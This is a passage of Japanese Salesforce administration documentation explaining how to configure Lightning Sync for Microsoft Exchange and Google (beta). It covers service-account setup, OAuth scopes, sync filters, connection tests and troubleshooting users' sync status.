必要に応じて、追加の同期検索条件を設定します。たとえば、ユーザのテリトリー外の取引先責任者が同
期されないように、ユーザの取引先責任者レコードの特定の項目に同期検索条件を作成します。取引先責
任者の検索条件は、Exchange から Salesforce に同期する取引先責任者には適用されません。

12. Salesforceまたはカレンダーでユーザが非公開としてマークした行動を同期するには、[非公開の行動を同期]

を選択します。
13. [削除された Exchange の行動を Salesforce から自動的に削除] を選択して営業担当が Exchange 行動と

Salesforce 行動を 1 つのアクションで削除できるようにします。
14. [Salesforce レコードに Google の行動を自動的に関連付ける] を選択すると、Lightning Sync で営業担当

のカレンダーが確認され、重要な行動が適切な Salesforce 取引先責任者またはリードにインテリジェントに
関連付けられます。

15. ユーザが Exchange から Salesforce に同期できる特定の行動を指定します。＞＝ 項目で検索条件を入力しま
す。これにより、ユーザが同期できる行動をこの期間条件に限定します。
• 今日: 今日または今日以降終了する行動を同期します。開始時刻は、午前 12:00 です。この選択が特定の

シナリオで推奨される理由についての詳細はこちら (ページ 2445)を参照してください。
• 先月: 先月の初日または初日以降に終了する行動を同期します。
• 過去 N 日間: 過去 30 日間など、指定の日数の間、またはそれ以降に終了する行動のみを同期します。

最大 180 日前に終了した行動を同期できます。

16. [保存] をクリックします。
この Lightning Sync 設定のユーザの取引先責任者および行動の同期が開始されます。

関連トピック:

Lightning Sync による Salesforce for Outlook との同期の競合の対処方法
複数の Salesforce 組織を持つ会社についての考慮事項
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Microsoft® の取引先責任者を Salesforce と同期する方法についての営業担当への指示

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Sync for Microsoft Exchange ユーザに、Salesforce と同期する Microsoft の取引
先責任者を管理できるようになったことを通知します。
営業担当が取引先責任者を Salesforceから Microsoft Exchange にのみ同期するよう設
定している場合は、営業担当の取引先責任者および行動はすでに同期されてい
るため、このステップを省略できます。
Exchange からSalesforce、あるいは両方向で取引先責任者を同期するように設定し
た営業担当は、Microsoft のどの取引先責任者をSalesforceに同期するかを選択する
ことで、同期を開始できます。
営業担当を有効な Lightning Sync 設定に追加して営業担当の同期設定を定義する
と、Lightning Syncは、各営業担当のメールアカウントにSalesforce_Sync というフォ
ルダを作成します。Lightning Syncは、営業担当の取引先責任者ディレクトリ内で
Salesforce_Sync をネストします。
営業担当は、取引先責任者を Salesforce_Sync フォルダに移動することで、同期する取引先責任者を選択できま
す。営業担当のメールアプリケーションに Salesforce_Sync フォルダが表示され、そのフォルダにアクセスでき
る場合、営業担当はそのフォルダへの取引先責任者の移動を開始できます。

Lightning Sync for Google (ベータ)

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザが Google アプリケーションと Salesforce の間で取引先責任者と予定を同期
できるようにします。

メモ: このリリースには、Lightning Sync for Google のベータバージョンが含ま
れています。ベータバージョンは機能の品質は高いですが、既知の制限が
あります。Lightning Sync for Google は、Salesforce がドキュメント、プレスリ
リース、または公式声明で正式リリースを発表しない限り、正式リリース
されません。特定期間内の正式リリースあるいはリリースの有無は保証で
きません。現在正式にリリースされている製品および機能に基づいて購入
をご決定ください。Lightning Sync for Google に関するフィードバックと提案
は、「Lightning Sync」Success コミュニティに投稿してください。

営業担当の取引先責任者と予定が Google アプリケーションと Salesforce 間で同期
されるように設定すると、ユーザの生産性が向上します。これは、営業担当が
2 つのアプリケーションで重複して作業をする必要がなくなるためです。さらに、Lightning Sync は柔軟性があ
るため、営業担当はデスクで作業していてもモバイルデバイスから作業していても柔軟に項目を同期できま
す。
システム管理者は Salesforceで営業担当の同期設定を選択することによって、営業担当の Lightning Sync環境を定
義します。たとえば、営業担当の取引先責任者を Salesforce から Google コンタクト (営業担当が Gmail™ からアク
セス可能) に同期するように Lightning Syncを設定できます。営業担当の予定を Google カレンダー™から Salesforce

に同期するように設定することもできます。
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Lightning Sync for Google の制限事項
現在、Lightning Sync for Google では次のことができません。
• Google コンタクトから Salesforce へのコンタクトの同期
• Salesforce から Google カレンダーへの行動の同期
• 定期的な行動の同期
• 行動の対応可能状況または予定あり状況の同期
• Salesforce の取引先責任者項目と行動項目に対応付けられる Google のコンタクト項目と予定項目の編集

Lightning Sync for Google の使用開始

Lightning Sync for Google (ベータ) の設定の概要の把握
Lightning Sync を設定して、営業担当が会社の Google for Work アカウントと Salesforce 間で取引先責任者および
予定を同期できるようにします。Google アカウントと Salesforce の両方から、いくつかの手順を実行してシ
ステムが通信できるように準備します。
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Lightning Sync for Google (ベータ) の設定の概要の把握

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Google for Work アカウン
トが Salesforceと通信する
ように準備する
• 会社の Google for Work

アカウントの「オー
ナー」の役割 (この役
割でシステム管理者権
限が付与される)

Lightning Sync の設定にア
クセスする
• 「アプリケーションの

カスタマイズ」

Lightning Syncを設定して、営業担当が会社の Google for Work アカウントとSalesforce

間で取引先責任者および予定を同期できるようにします。Google アカウントと
Salesforce の両方から、いくつかの手順を実行してシステムが通信できるように
準備します。

メモ: このリリースには、Lightning Sync for Google のベータバージョンが含ま
れています。ベータバージョンは機能の品質は高いですが、既知の制限が
あります。Lightning Sync for Google は、Salesforce がドキュメント、プレスリ
リース、または公式声明で正式リリースを発表しない限り、正式リリース
されません。特定期間内の正式リリースあるいはリリースの有無は保証で
きません。現在正式にリリースされている製品および機能に基づいて購入
をご決定ください。Lightning Sync for Google に関するフィードバックと提案
は、「Lightning Sync」Success コミュニティに投稿してください。

Lightning Sync for Google を設定するには、次の手順を実行します。

1. Lightning Sync で使用する Google for Work アカウントの準備
会社の IT プロフェッショナルまたは Google 管理者のサポートを受けながら、
Google サーバが Salesforce と通信できるように準備します。Google 管理者が、
会社の Google API コンソールと Google 管理コンソールにログインすることで、
次の手順を実行できます。

2. Salesforce for Lightning Sync の準備
IT プロフェッショナルまたは Google 管理者が、Lightning Sync で使用するため
の Google for Work アカウントを準備した後、必要な手順を実行して Salesforce

の準備も行います。まず、Salesforce から Google API サイトを登録します。次
に、Google の OAuth 2.0 を使用してアプリケーションに接続する設定を選択し
ます。

3. Google ユーザ向け Lightning Sync の接続テストの実行
Lightning Sync接続テストを実行し、自分と IT プロフェッショナルが Lightning Syncを正しく設定したかどうか
を確認します。または、Lightning Syncが営業担当の項目を正常に同期していたが突然停止した場合にも接続
テストを実行します。

4. Google カレンダーの特定の行動を Salesforce と同期しないようにする方法についての営業担当への指示
カレンダーのどの行動を Salesforce と同期するかを管理する方法について、Lightning Sync ユーザに指示しま
す。同期しない行動を営業担当が準備した後に、システム管理者が同期プロセスを開始することをお勧め
します。ただし、営業担当は同期する行動をいつでも管理できます。

5. Lightning Sync for Google を使用した営業担当の同期設定の定義
Lightning Sync設定で営業担当のグループの同期設定を定義します。このステップは営業担当の同期プロセス
の出発点で、2 つのシステム間で取引先責任者と予定を同期する方法を決定します。
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Lightning Sync で使用する Google for Work アカウントの準備

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Google for Work アカウン
トが Salesforceと通信する
ように準備する
• 会社の Google for Work

アカウントの「オー
ナー」の役割 (この役
割でシステム管理者権
限が付与される)

会社の IT プロフェッショナルまたは Google 管理者のサポートを受けながら、
Google サーバがSalesforceと通信できるように準備します。Google 管理者が、会社
の Google API コンソールと Google 管理コンソールにログインすることで、次の手
順を実行できます。
詳細は、Google の開発者ドキュメントを参照してください。
1. Google API コンソールから次の手順を実行します。

a. Lightning Sync 専用の Google プロジェクトを作成します。
b. 新しいプロジェクトから営業担当の予定を同期するように設定するには、

Google Calendar™ API を有効にします。
c. 新しいプロジェクトから営業担当の取引先責任者を同期するように設定

するには、Google Contacts API を有効にします。
d. サービスアカウントのログイン情報を作成し、役割を [プロジェクトオー

ナー]、キーのタイプを JSON にします。
e. サービスアカウントに対して [ドメイン全体の代理] を有効にします。こ

れにより、サービスアカウントのクライアント ID (クライアント名とも呼
ばれる) が作成されます。これらは後で必要になります。

f. サービスアカウントの JSON 非公開鍵を安全な場所に保存し、Salesforce シ
ステム管理者と共有します (ただし、Salesforceシステム管理者のみです。)

重要: 非公開鍵は「Google カレンダー城への鍵」であると考えましょ
う。鍵を持っているユーザは会社の Google アカウントにアクセスで
きます。したがって、鍵は必要なチームメンバーとだけ共有し、セ
キュアな経路で共有するようにします。たとえば、鍵をメールで送
信するのはお勧めしません。

2. Google 管理コンソールから次の手順を実行します。
a. [セキュリティ] から [詳細設定] セクションを選択し、[API クライアントアクセスを管理]をクリックしま

す。
b. サービスアカウントに対して参照のみのカレンダースコープを承認するために、Google API コンソール

で生成したサービスアカウントのクライアント ID (クライアント名とも呼ばれる) を入力します。
https://www.googleapis.com/auth/calendar.readonly のスコープを入力します。
必要に応じて他のスコープも承認することはできますが、このスコープは必須です。

ヒント:  Google API コンソールでクライアント ID (クライアント名とも呼ばれる) を保持しなかった場
合は、サービスアカウントの非公開鍵内で見つけることができます。

c. サービスアカウントに対して参照のみのコンタクトスコープを承認するために、Google API コンソール
で生成したサービスアカウントのクライアント ID (クライアント名とも呼ばれる) を入力します。
https://www.googleapis.com/auth/contacts.readonlyと https://www.google.com/m8/feeds

のスコープを入力します。
必要に応じて他のスコープも承認することはできますが、このスコープは必須です。
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この作業が完了したら、Salesforce システム管理者は Salesforce for Lightning Sync を準備して次のステップに進むこ
とができます。

Salesforce for Lightning Sync の準備

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Sync の設定にア
クセスする
• 「アプリケーションの

カスタマイズ」

IT プロフェッショナルまたは Google 管理者が、Lightning Sync で使用するための
Google for Work アカウントを準備した後、必要な手順を実行して Salesforce の準備
も行います。まず、Salesforce から Google API サイトを登録します。次に、Google

の OAuth 2.0 を使用してアプリケーションに接続する設定を選択します。
Salesforce for Lightning Sync を準備する前に、会社の Google for Work アカウントが
Salesforce と通信するように準備するために必要な手順を実行していることを確
認します。
1. Salesforce の [設定] から、https://www.googleapis.com を新しいリモート

サイトとして登録します。サイトのプロトコルセキュリティは無効にしない
でください。無効にすると、Salesforce が Google に接続できなくなります。

2. Salesforce の [設定] から、[クイック検索] ボックスに「Lightning Sync の
設定」と入力し、[Lightning Sync の設定] を選択します。

3. Lightning Sync を有効にします。
4. 優先する接続方法として [Google の OAuth 2.0 (ベータ)] を選択します。
5. Google サービスアカウントの非公開鍵をアップロードします。この鍵は、

Google 管理者が Lightning Sync 向けにサービスアカウントを設定したときに生
成されたものです。

重要: 非公開鍵は「Google カレンダー城への鍵」であると考えましょう。鍵を持っているユーザは会
社の Google アカウントにアクセスできます。したがって、鍵は必要なチームメンバーとだけ共有し、
セキュアな経路で共有するようにします。たとえば、鍵をメールで送信するのはお勧めしません。

6. [保存] をクリックします。
作業が完了したら、Lightning Sync 接続テストを実行して、接続が正しく設定されていることを確認します。
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Google ユーザ向け Lightning Sync の接続テストの実行

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

接続テストを実行する
• 「アプリケーションの

カスタマイズ」

Lightning Sync 接続テストを実行し、自分と IT プロフェッショナルが Lightning Sync

を正しく設定したかどうかを確認します。または、Lightning Syncが営業担当の項
目を正常に同期していたが突然停止した場合にも接続テストを実行します。
Google for Work アカウントと Salesforce の同期を準備するために必要な手順を実行
したら、Lightning Sync 接続テストを実行します。
Lightning Sync接続テストでは、Salesforceとメールサーバ間のいくつかの接続ポイ
ントが確認されます。テストが完了すると、接続状況の概要が表示されます。
1. [設定] から、[クイック検索]ボックスに「Lightning Sync の設定」と入力

し、[Lightning Sync の設定] を選択します。
2. [接続テスト]セクションで、メールサーバで同期するように設定した営業担

当のいずれかのメールアドレスを入力します。
3. [テスト] をクリックします。

Lightning Sync は、Salesforce とメールサーバの間で接続を確認し、接続状況を
要約します。

Google カレンダーの特定の行動を Salesforce と同期しないようにする方法についての営業担当への
指示

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カレンダーのどの行動をSalesforceと同期するかを管理する方法について、Lightning

Sync ユーザに指示します。同期しない行動を営業担当が準備した後に、システ
ム管理者が同期プロセスを開始することをお勧めします。ただし、営業担当は
同期する行動をいつでも管理できます。
営業担当はカレンダーの一部の行動 (個人的な行動など) が Salesforce と同期する
ことを防ぐことができます。
設定プロセスの後半で、Lightning Sync設定で営業担当の同期設定を定義する必要
があります。行動の同期設定を定義した場合、行動を今すぐに管理するよう営
業担当に指示しない限り、営業担当のデフォルトカレンダーのすべての行動が
Salesforce と同期します。
営業担当は、個人的な行動がカレンダーから Salesforce に同期することを次の方
法で防ぐことができます。
• カレンダーアプリケーションで個別のカレンダーを作成し、個人的な行動を追跡する (Lightning Sync は、営

業担当のデフォルトカレンダーのみを Salesforce と同期するように設計されています)。
• Lightning Sync設定で同期設定を定義するときに、営業担当の非公開の行動を同期するかどうかを選択する。

非公開の行動を同期しないように選択した場合、営業担当はカレンダーアプリケーションで行動に非公開
オプションを割り当てることで、その行動が同期することを防ぐことができます。

同期が開始される前にユーザが個人的な行動を管理していない場合でも、ユーザは個人的な行動を手動で削除
することで、それらの行動を Salesforce から削除できます。
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Lightning Sync for Google を使用した営業担当の同期設定の定義

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce で Lightning Sync
設定にアクセスする
• 「アプリケーションの

カスタマイズ」

Lightning Sync 設定を作
成、編集、または削除す
る
• 「Exchange 設定を管

理」権限

および

「ユーザの管理」

Lightning Sync設定で営業担当のグループの同期設定を定義します。このステップ
は営業担当の同期プロセスの出発点で、2 つのシステム間で取引先責任者と予定
を同期する方法を決定します。
開始する前に、Salesforce 組織間でのデータの同期を防止する方法を理解してお
く必要があります。Salesforce 組織間でデータが同期する可能性があるのは、営
業担当にロールアウトする前に Lightning Sync をテストする場合や、会社が複数
の Salesforce 組織を使用する場合です。
同期設定を定義することによって、営業担当の同期方法を管理できます。実行
できる操作は、次のとおりです。
• 営業担当の同期対象を定義する
• 取引先責任者、予定、または両方の項目を同期するかを定義する
• 特定の取引先責任者または予定を同期しないようにするための検索条件を作

成する
• ユーザの非公開の予定を同期するかどうかを定義する
• 営業担当が Google カレンダーで削除した予定 (行動) が Salesforceからも自動的

に削除されるかどうかを定義する
• 重要な予定がSalesforceの適切な取引先責任者またはリードに自動的に関連付

けられるかどうかを定義する
同期設定を定義する前に、営業担当の Google カレンダー™の予定がSalesforceと同
期されていることを確認します。後でSalesforceから同期項目を削除するよりも、
同期の開始前に予定を管理する方が簡単です。取引先責任者は Salesforce から
Google コンタクトに同期され、同期設定で作成した取引先責任者検索条件で制
御されるため、営業担当が取引先責任者を準備する必要はありません。
営業担当の Lightning Sync for Google の設定を定義する手順は、次のとおりです。
1. Salesforce の [設定] から、[クイック検索] ボックスに「Sync 設定」と入力し、[Sync 設定] を選択します。
2. [新規 Lightning Sync 設定] をクリックします。
3. 設定の名前を入力します。たとえば、特定の地域の営業担当の設定を作成している場合は、その一意の名

前を入力して、[有効] を選択します。

4. 営業担当およびプロファイルをこの設定に割り当てます。
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5. 営業担当の取引先責任者を Salesforce から Google へ同期することを指定し、希望するマッチング動作を選択
します。

6. 営業担当の予定を Google カレンダーから Salesforce へ同期することを指定します。

7. [保存] をクリックします。
8. 検索条件を設定して、Salesforce から Google に営業担当が同期できる取引先責任者を指定します。検索条件

は、営業担当のレコード所有権に基づいて設定する必要があります。次の点について選択します。
• 営業担当が同期する取引先責任者を営業担当が所有する取引先責任者に制限する場合は、[選択された

取引先責任者] を選択してから [ユーザのレコード] を選択します。必ずこれらの設定の両方を同時に選
択します。両方選択していないと、この設定のユーザの取引先責任者が同期されません。

• 営業担当が Salesforce で表示可能なすべての取引先責任者を同期できるようにする場合は、[すべての取
引先責任者] を選択します。
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必要に応じて、追加の同期検索条件を設定します。たとえば、営業担当のテリトリー外の取引先責任者が
同期されないように、営業担当の取引先責任者レコードの特定の項目に同期検索条件を作成します。

9. Google カレンダーで営業が非公開としてマークした予定を同期するには、[非公開の行動を同期] を選択し
ます。

10. 営業担当が Google の予定とSalesforceの行動を 1 回の操作で削除できるようにするには、[削除された Google

の行動を Salesforce から自動的に削除] を選択します。
11. 重要な行動を Salesforce の適切な取引先責任者またはリードに自動的に関連付けるには、[Salesforce レ

コードに Google の行動を自動的に関連付ける] を選択します。
12. 営業担当が Google から Salesforce に同期できる特定の予定を指定します。＞＝ 項目で検索条件を入力しま

す。これにより、営業担当が同期できる予定をこの期間条件に限定します。
• 今日: 今日または今日以降終了する予定を同期します。開始時刻は、午前 12:00 です。この選択が特定の

シナリオで推奨される理由についての詳細はこちら (ページ 2445)を参照してください。
• 先月: 先月の初日または初日以降に終了する予定を同期します。
• 過去 N 日間: 過去 30 日間など、指定の日数の間、またはそれ以降に終了する予定のみを同期します。

最大 180 日前に終了した予定を同期できます。

13. [保存] をクリックします。
この Lightning Sync 設定の営業担当の同期が開始されます。

Lightning Sync ユーザの管理
Lightning Sync を設定後、この機能に関する営業担当の操作性を管理し、問題のトラブルシューティング時に
ユーザをサポートします。

Lightning Sync 設定へのユーザの割り当て
Lightning Sync ユーザの取引先責任者または行動を同期するには、Lightning Sync 設定にユーザを割り当てま
す。個々のユーザを割り当てたり、ユーザプロファイルを追加して複数のユーザを割り当てたりできます。
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Lightning Sync ユーザの同期の問題の修正
Lightning Sync ユーザのメールサーバと Salesforce の間の同期で問題が発生した場合、ユーザの同期状況を
チェックするか、Lightning Sync エラーレポートを実行して、同期の問題をトラブルシューティングできま
す。見つかった同期の問題をユーザが解決できない場合は、ユーザに代わって同期プロセスをリセットで
きます。

Lightning Sync 設定へのユーザの割り当て

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「Exchange 設定を管

理」権限

および

「ユーザの管理」

Lightning Sync ユーザの取引先責任者または行動を同期するには、Lightning Sync 設
定にユーザを割り当てます。個々のユーザを割り当てたり、ユーザプロファイ
ルを追加して複数のユーザを割り当てたりできます。
ユーザのレコードがすでに別の設定に含まれている場合は、Lightning Sync設定に
ユーザを割り当てる前に、そうしたレコードをどのように同期させるかを次の
ように検討します。
• あるユーザを 2 つの Lightning Sync 設定に割り当てると、そのユーザは最初の

設定から自動的に削除され、新しい設定に割り当てられます。
• ユーザを 2 つの Lightning Sync 設定のどちらにも個々のユーザとしてプロファ

イルを使用して割り当てた場合は、いずれの設定からもユーザが削除されま
せんが、ユーザのレコードがユーザを個別にリストする設定に従って同期さ
れます。

• ユーザを 1 つの Lightning Sync 設定と 1 つの設定に割り当てた場合は、どちら
の設定からもユーザが削除されませんが、ユーザのレコードが Lightning Sync

設定に従って同期されます。
次回Lightning Syncで同期サイクルが実行されたときに、システム管理者が作成、
追加、または削除した割り当てをユーザが確認します。
Lightning Sync 設定にユーザを割り当てる手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Lightning Sync 設定」と入力

し、[Lightning Sync 設定] を選択します。
2. Lightning Sync設定を変更する場合は、変更する設定の横にある [編集]をクリッ

クします。変更しない場合は、[新規Lightning Sync設定]をクリックして、必
須項目に入力します。

3. [ユーザとプロファイルの割り当て] セクションの、[検索]ドロップダウンリストで [プロファイル]または
[ユーザ] のいずれかを選択します。

4. 追加するメンバーが見つからない場合は、検索ボックスにキーワードを入力し、[検索]をクリックします。
5. [選択可能なユーザ] ボックスからメンバーを選択し、[追加]をクリックすると、そのメンバーがグループに

追加されます。選択可能なすべてのユーザがこの設定に割り当てられている場合は、[ユーザ] リストを空
白にして、プロファイルのみを割り当てることができます。

6. メンバーを削除するには、それらのメンバーを選択して [削除] をクリックします。
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7. [保存] をクリックします。

関連トピック:

Lightning Sync による Salesforce for Outlook との同期の競合の対処方法
複数の Salesforce 組織を持つ会社についての考慮事項

Lightning Sync ユーザの同期の問題の修正

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Sync ユーザのメールサーバと Salesforce の間の同期で問題が発生した場
合、ユーザの同期状況をチェックするか、Lightning Syncエラーレポートを実行し
て、同期の問題をトラブルシューティングできます。見つかった同期の問題を
ユーザが解決できない場合は、ユーザに代わって同期プロセスをリセットでき
ます。

Lightning Sync ユーザの同期状況の確認
ユーザが同期できない場合、ユーザの同期状況 (およびLightning Sync設定の同
期状況) を確認して、問題のトラブルシューティングを行うことができます。
Lightning Sync エラーレポートの作成と実行
Lightning Sync ユーザが同期できない場合は、エラーレポートを作成および実
行して、組織で同期に失敗する理由と、どのユーザに対して失敗するかを調
べることができます。レポート詳細には、同期問題のトラブルシューティングに役立つ提案が示されます。
Lightning Sync ユーザの同期のリセット
営業担当のメールサーバとSalesforce間の同期に問題が発生した場合、その営業担当の同期プロセスをリセッ
トできます。同期をリセットすると、営業担当のメールおよびカレンダーアプリケーションと Salesforce レ
コードとの間の接続がクリアされ、その後復元されます。同期プロセスをリセットしても、これらのレコー
ドに保存されている情報に影響はありません。
メールおよびカレンダーサーバと Salesforce 間の接続のテスト
接続をテストする場合、Microsoft® Exchange 向け Lightning Sync のユーザは Lightning Sync 接続テストと Microsoft

Remote Connectivity Analyzer の両方を実行する必要があります。これらのテストは若干異なるため、両方を実
行することで接続状況についてより多くの情報を得られます。Lightning Sync for Google ユーザは Lightning Sync

接続テストを実行するだけで済みます。
Lightning Sync for Microsoft® Exchange の状況
Lightning Sync for Microsoft Exchange の状況を理解しておくと、Salesforceの [Lightning Syncの状況] ページに表示さ
れる Lightning Sync のエラーの評価や対処に役立ちます。
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Lightning Sync ユーザの同期状況の確認

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Sync 状況にアク
セスする
• 「設定・定義を参照す

る」

ユーザが同期できない場合、ユーザの同期状況 (および Lightning Sync 設定の同期
状況) を確認して、問題のトラブルシューティングを行うことができます。
1. [設定] から、[クイック検索]ボックスに「Lightning Sync の状況」と入力

し、[Lightning Sync の状況] を選択します。
2. 同期状況を確認するユーザの名前を入力し、[状況の確認]をクリックします。

そのユーザの同期状況が表示されます。
ユーザの同期をリセットする必要がある場合もあります。
同期状況の解釈または同期問題の修正に関する推奨事項については、「Lightning

Sync for Microsoft® Exchange の状況」を参照してください。

関連トピック:

Lightning Sync エラーレポートの作成と実行
Lightning Sync ユーザの同期のリセット
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Lightning Sync エラーレポートの作成と実行

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

Lightning Syncユーザが同期できない場合は、エラーレポートを作成および実行し
て、組織で同期に失敗する理由と、どのユーザに対して失敗するかを調べるこ
とができます。レポート詳細には、同期問題のトラブルシューティングに役立
つ提案が示されます。
まず、Salesforceで設定されたLightning Syncエラーレポートカスタムオブジェクト
を使用して、カスタムレポートタイプを作成します。次に、Lightning Syncエラー
レポートを作成します。最後に、レポートを実行して、ユーザが直面している
同期エラーの解決に役立てます。
1. カスタムレポートタイプを作成します。[主オブジェクト] を [Lightning Sync

エラー] に設定します。
2. Lightning Syncエラーレポートを作成します。[レポート] タブから、[新規レポー

ト] をクリックします。[レポートタイプ] をステップ 1 で作成した Lightning

Sync レポートタイプに設定し、[作成] をクリックします。
3. Lightning Syncエラーレポートを保存し、実行します。保存されていないレポー

トで [保存]をクリックし、必須項目を入力して [レポートを保存して実行]を
クリックします。
組織で検出された同期エラーのリストが生成されるか、同期エラーをレポー
トで特定できない場合は「総計 (0 レコード)」と表示されます。

レポートでエラーを特定できず、ユーザが引き続き同期できない場合は、Salesforce

にお問い合わせください。

関連トピック:

Lightning Sync for Microsoft® Exchange の状況

Lightning Sync ユーザの同期のリセット

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業担当のメールサーバと Salesforce 間の同期に問題が発生した場合、その営業
担当の同期プロセスをリセットできます。同期をリセットすると、営業担当の
メールおよびカレンダーアプリケーションと Salesforce レコードとの間の接続が
クリアされ、その後復元されます。同期プロセスをリセットしても、これらの
レコードに保存されている情報に影響はありません。
1. Microsoft Exchange 向け Lightning Syncを使用して取引先責任者を同期するように

設定する場合、営業担当がSalesforceと同期することを望む取引先責任者のみ
が、営業担当の Salesforce_Syncフォルダに含まれていることを確認しま
す。Google 向け Lightning Sync ユーザはこのステップを無視できます。

2. 行動を同期するように設定する場合、営業担当が同期を望まない行動が、営
業担当のカレンダーアプリケーションで管理されていることを確認します。

3. Salesforce の [設定] から、[クイック検索] ボックスに「Lightning Sync の
状況」と入力し、[Lightning Sync の状況] を選択します。

4. 営業担当の名前を入力して、[同期のリセット] をクリックします。
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次回の同期サイクル時に、Lightning Sync は次のように同期します。
• 営業担当の Salesforce_Sync フォルダ (Microsoft Exchange) または Salesforce Sync グループ (Google

の取引先責任者) とSalesforceとの間で、すべての取引先責任者を同期します。Lightning Syncは、営業担当
の同期設定に設定された検索条件に該当しない取引先責任者を除外します。

• 営業担当のカレンダーアプリケーションからすべての行動を Salesforce に同期します。Lightning Sync は、
営業担当の同期設定に設定された検索条件に該当しない行動、または同期を回避するように営業担当が
指定した行動を除外します。

メールおよびカレンダーサーバと Salesforce 間の接続のテスト

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Microsoft Remote
Connectivity Analyzer の実
行に必要なパラメータを
取得する
• 会社の Microsoft®

Exchange サーバへの管
理者アクセス権

Lightning Sync 接続テスト
を実行する
• 「アプリケーションの

カスタマイズ」

接続をテストする場合、Microsoft® Exchange 向け Lightning Sync のユーザは Lightning

Sync 接続テストと Microsoft Remote Connectivity Analyzer の両方を実行する必要があ
ります。これらのテストは若干異なるため、両方を実行することで接続状況に
ついてより多くの情報を得られます。Lightning Sync for Google ユーザは Lightning

Sync 接続テストを実行するだけで済みます。
接続状況をテストして、システム管理者や IT プロフェッショナルがLightning Sync

を正しく設定したかどうかを確認します。または、Lightning Syncが正常に同期し
ていたが、突然 Salesforce 組織内のすべての営業担当の同期が停止した場合にも
接続テストを実行します。

メモ: Microsoft リモート接続テストおよび Lightning Sync 接続テストでは、
メールサーバと Salesforce 組織との間の全般的な接続が確認されます。1 人
または数人の営業担当の接続のみをテストする場合は、[設定] の
[Lightning Sync の状況] から同期状況を確認します。

• Lightning Sync パラメータを使用した Microsoft® Remote Connectivity Analyzer の実行
• Microsoft® Exchange ユーザ向け Lightning Sync の接続テストの実行
• Google ユーザ向け Lightning Sync の接続テストの実行
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Lightning Sync for Microsoft® Exchange の状況

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Sync for Microsoft Exchange の状況を理解しておくと、Salesforce の [Lightning

Sync の状況] ページに表示される Lightning Sync のエラーの評価や対処に役立ちま
す。

システムの状況

表 13 : 設定の状況
この状況の意味次の状況を指定条件

サービスアカウントのロ
グイン情報を Salesforce に

サービスアカウントのユー
ザ名

指定された Microsoft

Exchange サービスアカウ
ント: 保存済みで、Lightning Sync

が有効なサービスアカウ
ントを認識しています。
この状況では必ずしも、
Lightning Sync を使用して
同期するようサービスア
カウントが設定されてい
るわけではありません。
同期エラーが引き続き発
生する場合は、Microsoft®

のRemote Connectivity

Analyzer ツールを使用して
接続をテストし、設定の
問題をトラブルシュー
ティングすることをお勧
めします。

Lightning Sync がサービス
アカウントのログイン情

なし

報を保存できませんでし
た。サービスアカウント
の正しい ID とパスワード
を指定していること、お
よび Microsoft Exchange に有
効なサービスアカウント
を設定していることを確
認します。

設定で Lightning for Outlook

を有効にしています。
はいLightning for Outlookが有効:

Salesforce に同期する
Microsoft の行動を営業担
当が選択するように設定
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この状況の意味次の状況を指定条件

した場合、営業担当は Lightning for

Outlook を使用して行動を選択しま
す。

設定で Lightning for Outlook を有効に
していません。Salesforceに同期する

いいえ

Microsoft の行動を営業担当が選択す
るように設定した場合、システム
管理者が Lightning for Outlook を有効
にするまで営業担当は行動を選択
できません。

Lightning Syncが、指定されたサービ
スアカウントを認識しています。

Salesforce が Microsoft Exchange サービ
スアカウントを認識:

この状況では必ずしも、Lightning

Syncを使用して同期するようサービ
スアカウントが設定されているわ
けではありません。同期エラーが
引き続き発生する場合は、Microsoft®

の Remote Connectivity Analyzer ツール
